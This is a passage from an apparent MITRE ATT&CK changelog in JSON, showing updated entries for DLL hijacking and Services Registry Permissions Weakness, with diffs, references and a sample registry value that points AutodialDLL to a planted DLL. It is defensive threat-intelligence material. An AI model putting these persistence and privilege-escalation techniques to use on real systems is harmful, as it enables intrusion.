>re](https://attack.mitre.org/techniques/T1584). For example,>rg/techniques/T1584). For example, using widely trusted host
> using widely trusted hosting services or domains such as pr>ing services or domains such as prominent URL shortening pro
>ominent URL shortening providers or marketing services for C>viders or marketing services for C2 networks may enable adve
>2 networks may enable adversaries to present benign content >rsaries to present benign content that later redirects victi
>that later redirects victims to malicious web pages or infra>ms to malicious web pages or infrastructure once specific co
>structure once specific conditions are met.(Citation: StarBl>nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen
>izzard)(Citation: QR-cofense)>se)
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)", + "DS0038: Domain Name (Domain Registration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0411: Detection Strategy for Hide Infrastructure" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 18:11:08.357000+00:00", + "modified": "2025-10-24 17:48:35.900000+00:00", + "name": "DLL", + "description": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\u2019s behavior. Another method implements a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/001", + "external_id": "T1574.001" + }, + { + "source_name": "Hijack DLLs CrowdStrike", + "description": " falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs \u2014 and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/" + }, + { + "source_name": "kroll bpl", + "description": "Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.", + "url": "https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution" + }, + { + "source_name": "Sophos", + "description": "Gabor Szappanos. (2023, May 3). A doubled \u201cDragon Breath\u201d adds new air to DLL sideloading attacks. Retrieved October 3, 2025.", + "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/" + }, + { + "source_name": "Hexacorn DLL Hijacking", + "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.", + "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/" + }, + { + "source_name": "microsoft remote preloading", + "description": "Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.", + "url": "https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637" + }, + { + "source_name": "Microsoft - manifests/assembly", + "description": "Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.", + "url": "https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft redirection", + "description": "Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.", + "url": "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN" + }, + { + "source_name": "dll pre load owasp", + "description": "OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.", + "url": "https://owasp.org/www-community/attacks/Binary_planting" + }, + { + "source_name": "Virus Bulletin", + "description": "Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.", + "url": "https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/" + }, + { + "source_name": "unit 42", + "description": "Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.", + "url": "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/" + }, + { + "source_name": "Wietze Beukema DLL Hijacking", + "description": "Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.", + "url": "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak", + "Marina Liang", + "Ami Holeston, CrowdStrike", + "Will Alexander, CrowdStrike", + "Wietze Beukema @Wietze" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Module: Module Load\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.900000+00:00\", \"old_value\": \"2025-04-16 18:24:47.533000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\\n\\nSpecific ways DLLs are abused by adversaries include:\\n\\n### DLL Sideloading\\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\\n\\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\\n\\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n\\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior. Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\\n\\n### DLL Search Order Hijacking\\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\\n\\n### DLL Redirection\\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\\n\\n### Phantom DLL Hijacking\\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\\n\\n### DLL Substitution\\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\\n\\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\\n\\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\\n\\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.\", \"old_value\": \"Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\\n\\nSpecific ways DLLs are abused by adversaries include:\\n\\n### DLL Sideloading\\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\\n\\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\\n\\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n\\n### DLL Search Order Hijacking\\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\\n\\n### DLL Redirection\\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\\n\\n### Phantom DLL Hijacking\\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\\n\\n### DLL Substitution\\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\\n\\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\\n\\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\\n\\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.\", \"diff\": \"--- \\n+++ \\n@@ -8,6 +8,8 @@\\n Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\\n \\n Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\\n+\\n+Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\\u2019s behavior. Another method implements a \\u201cloader-for-a-loader\\u201d, where a malicious DLL\\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\\n \\n ### DLL Search Order Hijacking\\n Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Sophos\", \"description\": \"Gabor Szappanos. (2023, May 3). A doubled \\u201cDragon Breath\\u201d adds new air to DLL sideloading attacks. Retrieved October 3, 2025.\", \"url\": \"https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/\"}, \"root['external_references'][9]\": {\"source_name\": \"Virus Bulletin\", \"description\": \"Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.\", \"url\": \"https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse dynamic-link library files (DLLs) in ot1Adversaries may abuse dynamic-link library files (DLLs) in o
>rder to achieve persistence, escalate privileges, and evade >rder to achieve persistence, escalate privileges, and evade 
>defenses. DLLs are libraries that contain code and data that>defenses. DLLs are libraries that contain code and data that
> can be simultaneously utilized by multiple programs. While > can be simultaneously utilized by multiple programs. While 
>DLLs are not malicious by nature, they can be abused through>DLLs are not malicious by nature, they can be abused through
> mechanisms such as side-loading, hijacking search order, an> mechanisms such as side-loading, hijacking search order, an
>d phantom DLL hijacking.(Citation: unit 42)  Specific ways D>d phantom DLL hijacking.(Citation: unit 42)  Specific ways D
>LLs are abused by adversaries include:  ### DLL Sideloading >LLs are abused by adversaries include:  ### DLL Sideloading 
>Adversaries may execute their own malicious payloads by side>Adversaries may execute their own malicious payloads by side
>-loading DLLs. Side-loading involves hijacking which DLL a p>-loading DLLs. Side-loading involves hijacking which DLL a p
>rogram loads by planting and then invoking a legitimate appl>rogram loads by planting and then invoking a legitimate appl
>ication that executes their payload(s).  Side-loading positi>ication that executes their payload(s).  Side-loading positi
>ons both the victim application and malicious payload(s) alo>ons both the victim application and malicious payload(s) alo
>ngside each other. Adversaries likely use side-loading as a >ngside each other. Adversaries likely use side-loading as a 
>means of masking actions they perform under a legitimate, tr>means of masking actions they perform under a legitimate, tr
>usted, and potentially elevated system or software process. >usted, and potentially elevated system or software process. 
>Benign executables used to side-load payloads may not be fla>Benign executables used to side-load payloads may not be fla
>gged during delivery and/or execution. Adversary payloads ma>gged during delivery and/or execution. Adversary payloads ma
>y also be encrypted/packed or otherwise obfuscated until loa>y also be encrypted/packed or otherwise obfuscated until loa
>ded into the memory of the trusted process.  Adversaries may>ded into the memory of the trusted process.  Adversaries may
> also side-load other packages, such as BPLs (Borland Packag> also side-load other packages, such as BPLs (Borland Packag
>e Library).(Citation: kroll bpl)  ### DLL Search Order Hijac>e Library).(Citation: kroll bpl)  Adversaries may chain DLL 
>king Adversaries may execute their own malicious payloads by>sideloading multiple times to fragment functionality hinderi
> hijacking the search order that Windows uses to load DLLs. >ng analysis. Adversaries using multiple DLL files can split 
>This search order is a sequence of special and standard sear>the loader functions across different DLLs, with a main DLL 
>ch locations that a program checks when loading a DLL. An ad>loading the separated export functions. (Citation: Virus Bul
>versary can plant a trojan DLL in a directory that will be p>letin) Spreading loader functions across multiple DLLs makes
>rioritized by the DLL search order over the location of a le> analysis harder, since all files must be collected to fully
>gitimate library. This will cause Windows to load the malici> understand the malware\u2019s behavior.  Another method implemen
>ous DLL when it is called for by the victim program.(Citatio>ts a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole rol
>n: unit 42)  ### DLL Redirection Adversaries may directly mo>e is to load a second DLL (or a chain of DLLs) that contain 
>dify the search order via DLL redirection, which after being>the real payload. (Citation: Sophos)  ### DLL Search Order H
> enabled (in the Registry or via the creation of a redirecti>ijacking Adversaries may execute their own malicious payload
>on file) may cause a program to load a DLL from a different >s by hijacking the search order that Windows uses to load DL
>location.(Citation: Microsoft redirection)(Citation: Microso>Ls. This search order is a sequence of special and standard 
>ft - manifests/assembly)  ### Phantom DLL Hijacking Adversar>search locations that a program checks when loading a DLL. A
>ies may leverage phantom DLL hijacking by targeting referenc>n adversary can plant a trojan DLL in a directory that will 
>es to non-existent DLL files. They may be able to load their>be prioritized by the DLL search order over the location of 
> own malicious DLL by planting it with the correct name in t>a legitimate library. This will cause Windows to load the ma
>he location of the missing module.(Citation: Hexacorn DLL Hi>licious DLL when it is called for by the victim program.(Cit
>jacking)(Citation: Hijack DLLs CrowdStrike)  ### DLL Substit>ation: unit 42)  ### DLL Redirection Adversaries may directl
>ution Adversaries may target existing, valid DLL files and s>y modify the search order via DLL redirection, which after b
>ubstitute them with their own malicious DLLs, planting them >eing enabled (in the Registry or via the creation of a redir
>with the same name and in the same location as the valid DLL>ection file) may cause a program to load a DLL from a differ
> file.(Citation: Wietze Beukema DLL Hijacking)  Programs tha>ent location.(Citation: Microsoft redirection)(Citation: Mic
>t fall victim to DLL hijacking may appear to behave normally>rosoft - manifests/assembly)  ### Phantom DLL Hijacking Adve
> because malicious DLLs may be configured to also load the l>rsaries may leverage phantom DLL hijacking by targeting refe
>egitimate DLLs they were meant to replace, evading defenses.>rences to non-existent DLL files. They may be able to load t
>  Remote DLL hijacking can occur when a program sets its cur>heir own malicious DLL by planting it with the correct name 
>rent directory to a remote location, such as a Web share, be>in the location of the missing module.(Citation: Hexacorn DL
>fore loading a DLL.(Citation: dll pre load owasp)(Citation: >L Hijacking)(Citation: Hijack DLLs CrowdStrike)  ### DLL Sub
>microsoft remote preloading)  If a valid DLL is configured t>stitution Adversaries may target existing, valid DLL files a
>o run at a higher privilege level, then the adversary-contro>nd substitute them with their own malicious DLLs, planting t
>lled DLL that is loaded will also be executed at the higher >hem with the same name and in the same location as the valid
>level. In this case, the technique could be used for privile> DLL file.(Citation: Wietze Beukema DLL Hijacking)  Programs
>ge escalation.> that fall victim to DLL hijacking may appear to behave norm
 >ally because malicious DLLs may be configured to also load t
 >he legitimate DLLs they were meant to replace, evading defen
 >ses.  Remote DLL hijacking can occur when a program sets its
 > current directory to a remote location, such as a Web share
 >, before loading a DLL.(Citation: dll pre load owasp)(Citati
 >on: microsoft remote preloading)  If a valid DLL is configur
 >ed to run at a higher privilege level, then the adversary-co
 >ntrolled DLL that is loaded will also be executed at the hig
 >her level. In this case, the technique could be used for pri
 >vilege escalation.
", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1038: Execution Prevention", + "M1044: Restrict Library Loading", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0201: Detection Strategy for Hijack Execution Flow for DLLs" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 11:42:14.444000+00:00", + "modified": "2025-10-24 17:48:27.075000+00:00", + "name": "Services Registry Permissions Weakness", + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\n\n\"AutodialDLL\"=\"c:\\temp\\foo.dll\"\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/011", + "external_id": "T1574.011" + }, + { + "source_name": "Tweet Registry Perms Weakness", + "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.", + "url": "https://x.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "insecure_reg_perms", + "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.", + "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/" + }, + { + "source_name": "hexacorn", + "description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.", + "url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/" + }, + { + "source_name": "Kansa Service related collectors", + "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", + "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html" + }, + { + "source_name": "malware_hides_service", + "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.", + "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/" + }, + { + "source_name": "Autoruns for Windows", + "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" + }, + { + "source_name": "MDSec", + "description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.", + "url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/" + }, + { + "source_name": "Registry Key Security", + "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN" + }, + { + "source_name": "microsoft_services_registry_tree", + "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree" + }, + { + "source_name": "gendigital", + "description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.", + "url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Matthew Demaske, Adaptforward", + "Joe Gumke, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Service: Service Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.075000+00:00\", \"old_value\": \"2025-04-15 19:58:09.308000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver 